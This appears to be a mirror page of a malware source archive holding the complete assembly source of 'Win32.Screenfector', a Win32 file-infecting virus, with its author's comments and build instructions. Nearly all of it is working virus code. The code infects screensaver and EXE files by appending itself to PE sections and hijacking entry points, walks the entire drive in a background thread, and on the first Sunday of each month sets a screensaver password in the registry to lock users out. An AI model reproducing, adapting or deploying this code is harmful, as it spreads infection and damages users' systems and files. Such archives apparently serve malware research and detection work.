mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 09:26:09 +00:00
644 lines
19 KiB
NASM
644 lines
19 KiB
NASM
; Å-----------
|
|
; Win32.Screenfector by MalFunction
|
|
;
|
|
; hi out there! this is my first little win32 infector. there's nothing
|
|
; special at it, no new technique, no new way of infecting. yes, it is
|
|
; a very poor coded direct action infector. :(
|
|
; BUT: have you ever heard of mcafee's silly feature 'scanning while
|
|
; the screensaver runs'?
|
|
; this virus is the answer to that feature. an infected exe-file
|
|
; will infect only scr-filez in the %windir% and %windir%\system directoriez.
|
|
; an infected scr-file will create a new thread for infecting and then
|
|
; immediately return to the host. the created thread infectz the whole
|
|
; HD usin' a dir traversal. i know it's slow and makes the user
|
|
; suspicious, but it's funny: a virus that infectz during the screensaver ...
|
|
; -------Å
|
|
; thanx 'n' greetz:
|
|
; -----------------
|
|
;
|
|
; Wang_E: i'm sure that u'll have yer own OS one day.
|
|
; thx for all da help, my friend!
|
|
; BlackArt: yeah, I'm still codin' that trojan ...
|
|
; Evil_Byte: Mittlerweile schon mal "Mirror, Mirror" von
|
|
; Blind Guardian geh”rt? ;)
|
|
; Benny/29A: all yer tutes in 29a#4 rox!
|
|
; Lord Julus: vx-tasy#1 is one of the best ezines i have ever seen
|
|
;
|
|
;
|
|
; compile with: tasm32.exe /m9 /ml screenf.asm
|
|
; tlink32.exe /aa /Tpe /c /x screenf.obj,,,import32.lib
|
|
; pewrite.exe screenf.exe
|
|
;
|
|
; (PEWrite is part of Lord Julus' VX-tasy#1)
|
|
|
|
|
|
.386
|
|
.model flat
|
|
|
|
extrn MessageBoxA:proc
|
|
extrn ExitProcess:proc
|
|
extrn GetProcAddress:proc
|
|
extrn GetModuleHandleA:proc
|
|
|
|
.data
|
|
dummy_title DB "senseless dummy prog v1.01",0
|
|
dummy_msg DB "dummy prog carrying a little win32 infector...",0
|
|
|
|
.code
|
|
|
|
dummy:
|
|
push 0 ; just a dummy ...
|
|
push offset dummy_title
|
|
push offset dummy_msg
|
|
push 0
|
|
call MessageBoxA
|
|
|
|
push 0
|
|
call ExitProcess
|
|
|
|
v_size = v_end - v_start
|
|
|
|
v_start: ; gimme that delta
|
|
call delta
|
|
delta:
|
|
pop ebp
|
|
jmp over_var ; variables part I
|
|
|
|
filehandle DD ?
|
|
maphandle DD ?
|
|
mapaddr DD ?
|
|
mapsize DD ?
|
|
|
|
keyhandle DD ?
|
|
value1 DD 1
|
|
|
|
hmodule DD ?
|
|
oldEIP DD ?
|
|
filealign DD ?
|
|
|
|
k32name DB "KERNEL32",0
|
|
advapiname DB "ADVAPI32",0
|
|
procsfound DB 0
|
|
|
|
searchmask DB "*.SCR",0
|
|
wildcard DB "*.*",0
|
|
root DB '\',0
|
|
nested DB 0
|
|
dotdot DB "..",0
|
|
|
|
fnhandle DD ?
|
|
fnhandle2 DD ?
|
|
|
|
threadID DD ?
|
|
|
|
_alloc DD ?
|
|
|
|
ptrGetProcAddress DD ?
|
|
ptrGetModuleHandleA DD ?
|
|
|
|
filetype DB 'E'
|
|
|
|
_GetProcAddress DB "GetProcAddress",0
|
|
_GetModuleHandleA DB "GetModuleHandleA",0
|
|
|
|
APIs:
|
|
GetWindowsDirectoryA DD ?
|
|
GetCurrentDirectoryA DD ?
|
|
SetCurrentDirectoryA DD ?
|
|
GetSystemDirectoryA DD ?
|
|
GetCommandLineA DD ?
|
|
GetSystemTime DD ?
|
|
ExitThread DD ?
|
|
CreateThread DD ?
|
|
CloseHandle DD ?
|
|
UnmapViewOfFile DD ?
|
|
MapViewOfFile DD ?
|
|
SetFileAttributesA DD ?
|
|
CreateFileMappingA DD ?
|
|
CreateFileA DD ?
|
|
FindNextFileA DD ?
|
|
FindFirstFileA DD ?
|
|
VirtualAlloc DD ?
|
|
LoadLibraryA DD ?
|
|
|
|
RegSetValueExA DD ?
|
|
|
|
over_var:
|
|
DB 0b8h ; mov eax,imm32 ; save old EIP
|
|
oldEIP2 DD offset dummy
|
|
mov [ebp+oldEIP-delta],eax
|
|
|
|
DB 0b8h ; mov eax,imm32 ; trace to import table
|
|
baseaddress DD 00400000h
|
|
add eax,[eax+3ch]
|
|
add eax,80h
|
|
mov eax,[eax]
|
|
add eax,[ebp+baseaddress-delta]
|
|
import1:
|
|
cmp dword ptr [eax],0 ; last import descriptor?
|
|
jz quit
|
|
|
|
mov esi,[eax+0Ch]
|
|
add esi,[ebp+baseaddress-delta]
|
|
|
|
lea edi,[ebp+k32name-delta] ; is it kernel32?
|
|
push 2
|
|
pop ecx
|
|
rep cmpsd
|
|
jz import2
|
|
add eax,14h
|
|
jmp import1
|
|
|
|
import2:
|
|
mov ebx,[eax] ; search for the needed API
|
|
mov edx,[eax+10h] ; addresses ...
|
|
add ebx,[ebp+baseaddress-delta]
|
|
add edx,[ebp+baseaddress-delta]
|
|
|
|
import3:
|
|
cmp dword ptr [ebx],0
|
|
jz no_more_imp
|
|
|
|
mov esi,[ebx]
|
|
add esi,[ebp+baseaddress-delta]
|
|
inc esi
|
|
inc esi
|
|
push esi
|
|
|
|
lea edi,[ebp+_GetProcAddress-delta] ; is it GetProcAddress?
|
|
push 14
|
|
pop ecx
|
|
rep cmpsb
|
|
jnz no_store1
|
|
mov edi,[edx]
|
|
mov [ebp+ptrGetProcAddress-delta],edi
|
|
inc byte ptr [ebp+procsfound-delta]
|
|
|
|
no_store1:
|
|
lea edi,[ebp+_GetModuleHandleA-delta] ; is it GetModuleHandleA?
|
|
push 4
|
|
pop ecx
|
|
pop esi
|
|
rep cmpsd
|
|
jnz no_store2
|
|
mov edi,[edx]
|
|
mov [ebp+ptrGetModuleHandleA-delta],edi
|
|
inc byte ptr [ebp+procsfound-delta]
|
|
|
|
no_store2:
|
|
add ebx,4
|
|
add edx,4
|
|
jmp import3
|
|
|
|
no_more_imp:
|
|
cmp byte ptr [ebp+procsfound-delta],2 ; both APIaddresses found?
|
|
jnz quit
|
|
mov byte ptr [ebp+procsfound-delta],0
|
|
|
|
lea eax,[ebp+k32name-delta] ; gimme k32 base
|
|
push eax
|
|
call [ebp+ptrGetModuleHandleA-delta]
|
|
mov [ebp+hmodule-delta],eax
|
|
|
|
push 18
|
|
pop ecx
|
|
lea edi,[ebp+APIs-delta]
|
|
lea esi,[ebp+ptr_table-delta]
|
|
get_APIs: ; retrieve all needed APIz
|
|
lodsd
|
|
add eax,ebp
|
|
sub eax,offset delta
|
|
push ecx
|
|
push edi
|
|
push esi
|
|
push eax
|
|
push dword ptr [ebp+hmodule-delta]
|
|
call [ebp+ptrGetProcAddress-delta]
|
|
pop esi
|
|
pop edi
|
|
pop ecx
|
|
test eax,eax
|
|
jz quit
|
|
stosd
|
|
loop get_APIs
|
|
|
|
push 40h ; allocate 1000 bytes
|
|
push 1000h
|
|
push 1000
|
|
push 0
|
|
call [ebp+VirtualAlloc-delta]
|
|
test eax,eax
|
|
jz quit
|
|
mov [ebp+_alloc-delta],eax
|
|
|
|
add eax,580 ; get system time
|
|
push eax
|
|
push eax
|
|
call [ebp+GetSystemTime-delta]
|
|
pop eax
|
|
cmp word ptr [eax+4],0 ; sunday?
|
|
jnz no_payload
|
|
cmp word ptr [eax+6],7 ; 1st sunday of month?
|
|
ja no_payload
|
|
|
|
lea eax,[ebp+advapiname-delta] ; load advapi32.dll
|
|
push eax
|
|
call [ebp+LoadLibraryA-delta]
|
|
test eax,eax
|
|
jz no_payload
|
|
|
|
push eax ; get RegOpenKeyExA address
|
|
lea ebx,[ebp+_RegOpenKeyExA-delta]
|
|
push ebx
|
|
push eax
|
|
call [ebp+ptrGetProcAddress-delta]
|
|
|
|
lea ebx,[ebp+keyhandle-delta] ; open the reg key
|
|
push ebx
|
|
push 001f0000h
|
|
push 0
|
|
lea ebx,[ebp+regkey-delta]
|
|
push ebx
|
|
push 80000001h
|
|
call eax
|
|
|
|
pop eax ; get RegSetValueExA address
|
|
lea ebx,[ebp+_RegSetValueExA-delta]
|
|
push ebx
|
|
push eax
|
|
call [ebp+ptrGetProcAddress-delta]
|
|
mov [ebp+RegSetValueExA-delta],eax
|
|
|
|
push 25 ; set screensaver pwd
|
|
lea ebx,[ebp+value2-delta]
|
|
push ebx
|
|
push 3
|
|
push 0
|
|
lea ebx,[ebp+value2name-delta]
|
|
push ebx
|
|
push dword ptr [ebp+keyhandle-delta]
|
|
call eax
|
|
|
|
push 4 ; enable screensaver pwd
|
|
lea eax,[ebp+value1-delta]
|
|
push eax
|
|
push 4
|
|
push 0
|
|
lea eax,[ebp+value1name-delta]
|
|
push eax
|
|
push dword ptr [ebp+keyhandle-delta]
|
|
call [ebp+RegSetValueExA-delta]
|
|
|
|
no_payload:
|
|
mov eax,[ebp+_alloc-delta] ; get current dir
|
|
add eax,320
|
|
push eax
|
|
push 260
|
|
call [ebp+GetCurrentDirectoryA-delta]
|
|
|
|
cmp byte ptr [ebp+filetype-delta],'E' ; is an EXE or a SCR executed?
|
|
jnz screen_save
|
|
|
|
its_exe:
|
|
mov dword ptr [ebp+searchmask+1-delta],'RCS.' ; set for findfile
|
|
mov byte ptr [ebp+filetype-delta],'S'
|
|
|
|
mov eax,[ebp+_alloc-delta] ; infect windoze dir
|
|
push eax
|
|
push 320
|
|
push eax
|
|
call [ebp+GetWindowsDirectoryA-delta]
|
|
call [ebp+SetCurrentDirectoryA-delta]
|
|
call infect_dir
|
|
|
|
mov eax,[ebp+_alloc-delta] ; infect windoze\system dir
|
|
push eax
|
|
push 320
|
|
push eax
|
|
call [ebp+GetSystemDirectoryA-delta]
|
|
call [ebp+SetCurrentDirectoryA-delta]
|
|
call infect_dir
|
|
|
|
mov eax,[ebp+_alloc-delta] ; go to old dir
|
|
add eax,320
|
|
push eax
|
|
call [ebp+SetCurrentDirectoryA-delta]
|
|
|
|
quit:
|
|
jmp [ebp+oldEIP-delta] ; jmp to host
|
|
|
|
screen_save:
|
|
mov dword ptr [ebp+searchmask+1-delta],'EXE.' ; set for findfile
|
|
mov byte ptr [ebp+filetype-delta],'E'
|
|
|
|
call [ebp+GetCommandLineA-delta] ; get CommandLine
|
|
mov edi,eax
|
|
xor eax,eax
|
|
get_end:
|
|
scasb
|
|
jnz get_end
|
|
|
|
cmp byte ptr [edi-2],'s' ; was the parameter /s ?
|
|
jz run_it ; (we don't want to infect
|
|
cmp byte ptr [edi-2],'S' ; when scr is configurated)
|
|
jz run_it
|
|
jmp quit
|
|
|
|
run_it:
|
|
mov [ebp+save_ebp-delta],ebp ; save EBP for new thread
|
|
|
|
lea eax,[ebp+threadID-delta] ; create the infection thread
|
|
push eax
|
|
push 0
|
|
push 0
|
|
lea eax,[ebp+myThread-delta]
|
|
push eax
|
|
push 0
|
|
push 0
|
|
call [ebp+CreateThread-delta]
|
|
|
|
jmp quit ; return to host
|
|
|
|
myThread:
|
|
DB 0bdh ; mov ebp,imm32 ; get delta handle
|
|
save_ebp DD ?
|
|
|
|
lea eax,[ebp+root-delta] ; set root dir as current dir
|
|
push eax
|
|
call [ebp+SetCurrentDirectoryA-delta]
|
|
|
|
call dirtrav ; INFECT!
|
|
|
|
push 0
|
|
call [ebp+ExitThread-delta] ; exit the thread
|
|
|
|
dirtrav:
|
|
call infect_dir ; infect directory
|
|
|
|
push dword ptr [ebp+_alloc-delta] ; find dir
|
|
lea eax,[ebp+wildcard-delta]
|
|
push eax
|
|
call [ebp+FindFirstFileA-delta]
|
|
push eax
|
|
inc eax
|
|
jz check_root
|
|
dec eax
|
|
mov [ebp+fnhandle-delta],eax
|
|
jmp test_if_dir
|
|
|
|
findnextdir:
|
|
push dword ptr [ebp+_alloc-delta] ; find next dir
|
|
push dword ptr [ebp+fnhandle-delta]
|
|
call [ebp+FindNextFileA-delta]
|
|
test eax,eax
|
|
jz check_root
|
|
|
|
test_if_dir:
|
|
mov eax,[ebp+_alloc-delta]
|
|
test dword ptr [eax],10h ; is it a directory?
|
|
jz findnextdir
|
|
mov eax,[ebp+_alloc-delta]
|
|
add eax,44
|
|
cmp byte ptr [eax],'.' ; is it '.' or '..'?
|
|
jz findnextdir
|
|
|
|
push eax
|
|
call [ebp+SetCurrentDirectoryA-delta] ; go to found dir
|
|
inc byte ptr [ebp+nested-delta]
|
|
call dirtrav ; recursive!
|
|
mov eax,[esp]
|
|
mov [ebp+fnhandle-delta],eax
|
|
jmp findnextdir
|
|
|
|
check_root:
|
|
cmp byte ptr [ebp+nested-delta],0 ; are we at root?
|
|
jz end_trav
|
|
|
|
lea eax,[ebp+dotdot-delta] ; go to '..'
|
|
push eax
|
|
call [ebp+SetCurrentDirectoryA-delta]
|
|
dec byte ptr [ebp+nested-delta]
|
|
end_trav:
|
|
add esp,4
|
|
ret
|
|
|
|
infect_dir:
|
|
push dword ptr [ebp+_alloc-delta] ; find a file
|
|
lea eax,[ebp+searchmask-delta]
|
|
push eax
|
|
call [ebp+FindFirstFileA-delta]
|
|
inc eax
|
|
jz no_more_filez
|
|
dec eax
|
|
mov [ebp+fnhandle2-delta],eax
|
|
jmp infect_file
|
|
|
|
findnextfile:
|
|
push dword ptr [ebp+_alloc-delta] ; find next file
|
|
push dword ptr [ebp+fnhandle2-delta]
|
|
call [ebp+FindNextFileA-delta]
|
|
test eax,eax
|
|
jz no_more_filez
|
|
|
|
infect_file:
|
|
xor edx,edx
|
|
mov eax,[ebp+_alloc-delta]
|
|
mov eax,[eax+32]
|
|
mov ecx,201
|
|
div ecx
|
|
test edx,edx
|
|
jz findnextfile ; already infected?
|
|
mov eax,[ebp+_alloc-delta] ; (fsize modulo 201 = 0)
|
|
mov eax,[eax+32]
|
|
add eax,v_size ; align fsize to 201 ...
|
|
push eax
|
|
xor edx,edx
|
|
div ecx
|
|
pop eax
|
|
sub edx,201
|
|
neg edx
|
|
add eax,edx
|
|
mov [ebp+mapsize-delta],eax ; ... and save it
|
|
|
|
push 80h ; clear file attributes
|
|
mov eax,[ebp+_alloc-delta]
|
|
add eax,44
|
|
push eax
|
|
call [ebp+SetFileAttributesA-delta]
|
|
test eax,eax
|
|
jz findnextfile
|
|
|
|
push 0 ; open file
|
|
push 80h
|
|
push 3
|
|
push 0
|
|
push 0
|
|
push 0C0000000h
|
|
mov eax,[ebp+_alloc-delta]
|
|
add eax,44
|
|
push eax
|
|
call [ebp+CreateFileA-delta]
|
|
inc eax
|
|
jz findnextfile
|
|
dec eax
|
|
mov [ebp+filehandle-delta],eax
|
|
|
|
push 0 ; map file part I
|
|
push dword ptr [ebp+mapsize-delta]
|
|
push 0
|
|
push 4
|
|
push 0
|
|
push eax
|
|
call [ebp+CreateFileMappingA-delta]
|
|
test eax,eax
|
|
jz closefile
|
|
mov [ebp+maphandle-delta],eax
|
|
|
|
push dword ptr [ebp+mapsize-delta] ; map file part II
|
|
push 0
|
|
push 0
|
|
push 2
|
|
push eax
|
|
call [ebp+MapViewOfFile-delta]
|
|
test eax,eax
|
|
jz closefile
|
|
mov [ebp+mapaddr-delta],eax
|
|
|
|
cmp word ptr [eax],'ZM' ; EXE signature?
|
|
jnz unmap
|
|
add eax,[eax+3ch]
|
|
mov edx,[ebp+mapaddr-delta]
|
|
cmp eax,edx
|
|
jnae unmap
|
|
|
|
mov edi,[ebp+_alloc-delta]
|
|
add edx,[edi+32]
|
|
cmp eax,edx
|
|
ja unmap
|
|
cmp dword ptr [eax],00004550h ; PE signature?
|
|
jnz unmap
|
|
|
|
mov edx,[eax+28h] ; save entrypoint
|
|
mov [ebp+oldEIP2-delta],edx
|
|
mov edx,[eax+34h]
|
|
mov [ebp+baseaddress-delta],edx ; save base address
|
|
add [ebp+oldEIP2-delta],edx
|
|
mov edx,[eax+3ch] ; save file alignment
|
|
mov [ebp+filealign-delta],edx
|
|
|
|
mov esi,[eax+74h] ; go to the last section header
|
|
shl esi,3
|
|
movzx ebx,word ptr [eax+6]
|
|
dec ebx
|
|
xchg eax,ebx
|
|
imul eax,eax,28h
|
|
lea esi,[esi+eax+78h]
|
|
add esi,ebx
|
|
|
|
or dword ptr [esi+24h], 0E0000020h ; set characteristix
|
|
|
|
add dword ptr [esi+8],v_size ; correct VirtualSize
|
|
mov eax,[esi+8]
|
|
|
|
xor edx,edx ; calculate new RawSize
|
|
mov ecx,[ebp+filealign-delta]
|
|
div ecx
|
|
test edx,edx
|
|
jz no_inc
|
|
inc eax
|
|
no_inc:
|
|
mul ecx
|
|
mov edx,eax
|
|
sub edx,[esi+10h]
|
|
add [ebx+50h],edx ; add increase to image size
|
|
mov [esi+10h],eax ; save new RawSize
|
|
|
|
push esi
|
|
|
|
mov edi,[esi+8] ; prepare to copy virus
|
|
add edi,[esi+14h]
|
|
sub edi,v_size
|
|
add edi,[ebp+mapaddr-delta]
|
|
|
|
mov ecx,v_size ; copy it!
|
|
lea esi,[ebp+v_start-delta]
|
|
rep movsb
|
|
|
|
pop esi ; save new entrypoint
|
|
mov edi,[esi+8]
|
|
add edi,[esi+0ch]
|
|
sub edi,v_size
|
|
mov [ebx+28h],edi
|
|
|
|
unmap:
|
|
push dword ptr [ebp+mapaddr-delta] ; unmap file
|
|
call [ebp+UnmapViewOfFile-delta]
|
|
|
|
closefile:
|
|
push dword ptr [ebp+filehandle-delta] ; and close it
|
|
call [ebp+CloseHandle-delta]
|
|
|
|
mov eax,[ebp+_alloc-delta] ; restore old attribs
|
|
push eax
|
|
add eax,44
|
|
push eax
|
|
call [ebp+SetFileAttributesA-delta]
|
|
|
|
jmp findnextfile
|
|
|
|
no_more_filez:
|
|
ret
|
|
; variables part II
|
|
APInames:
|
|
_GetWindowsDirectoryA DB "GetWindowsDirectoryA",0
|
|
_GetCurrentDirectoryA DB "GetCurrentDirectoryA",0
|
|
_SetCurrentDirectoryA DB "SetCurrentDirectoryA",0
|
|
_GetSystemDirectoryA DB "GetSystemDirectoryA",0
|
|
_GetCommandLineA DB "GetCommandLineA",0
|
|
_GetSystemTime DB "GetSystemTime",0
|
|
_ExitThread DB "ExitThread",0
|
|
_CreateThread DB "CreateThread",0
|
|
_CloseHandle DB "CloseHandle",0
|
|
_UnmapViewOfFile DB "UnmapViewOfFile",0
|
|
_MapViewOfFile DB "MapViewOfFile",0
|
|
_SetFileAttributesA DB "SetFileAttributesA",0
|
|
_CreateFileMappingA DB "CreateFileMappingA",0
|
|
_CreateFileA DB "CreateFileA",0
|
|
_FindNextFileA DB "FindNextFileA",0
|
|
_FindFirstFileA DB "FindFirstFileA",0
|
|
_VirtualAlloc DB "VirtualAlloc",0
|
|
_LoadLibraryA DB "LoadLibraryA",0
|
|
|
|
_RegSetValueExA DB "RegSetValueExA",0
|
|
_RegOpenKeyExA DB "RegOpenKeyExA",0
|
|
|
|
ptr_table:
|
|
DD offset _GetWindowsDirectoryA
|
|
DD offset _GetCurrentDirectoryA
|
|
DD offset _SetCurrentDirectoryA
|
|
DD offset _GetSystemDirectoryA
|
|
DD offset _GetCommandLineA
|
|
DD offset _GetSystemTime
|
|
DD offset _ExitThread
|
|
DD offset _CreateThread
|
|
DD offset _CloseHandle
|
|
DD offset _UnmapViewOfFile
|
|
DD offset _MapViewOfFile
|
|
DD offset _SetFileAttributesA
|
|
DD offset _CreateFileMappingA
|
|
DD offset _CreateFileA
|
|
DD offset _FindNextFileA
|
|
DD offset _FindFirstFileA
|
|
DD offset _VirtualAlloc
|
|
DD offset _LoadLibraryA
|
|
|
|
regkey DB "Control Panel\desktop",0
|
|
value1name DB "ScreenSaveUsePassword",0
|
|
value2 DB 31h,42h,41h,44h,32h,34h,35h,38h,32h,32h,32h,37h,45h
|
|
DB 37h,35h,45h,33h,39h,44h,38h,30h,38h,41h,41h,00h
|
|
value2name DB "ScreenSave_Data",0
|
|
|
|
v_end:
|
|
|
|
end v_start
|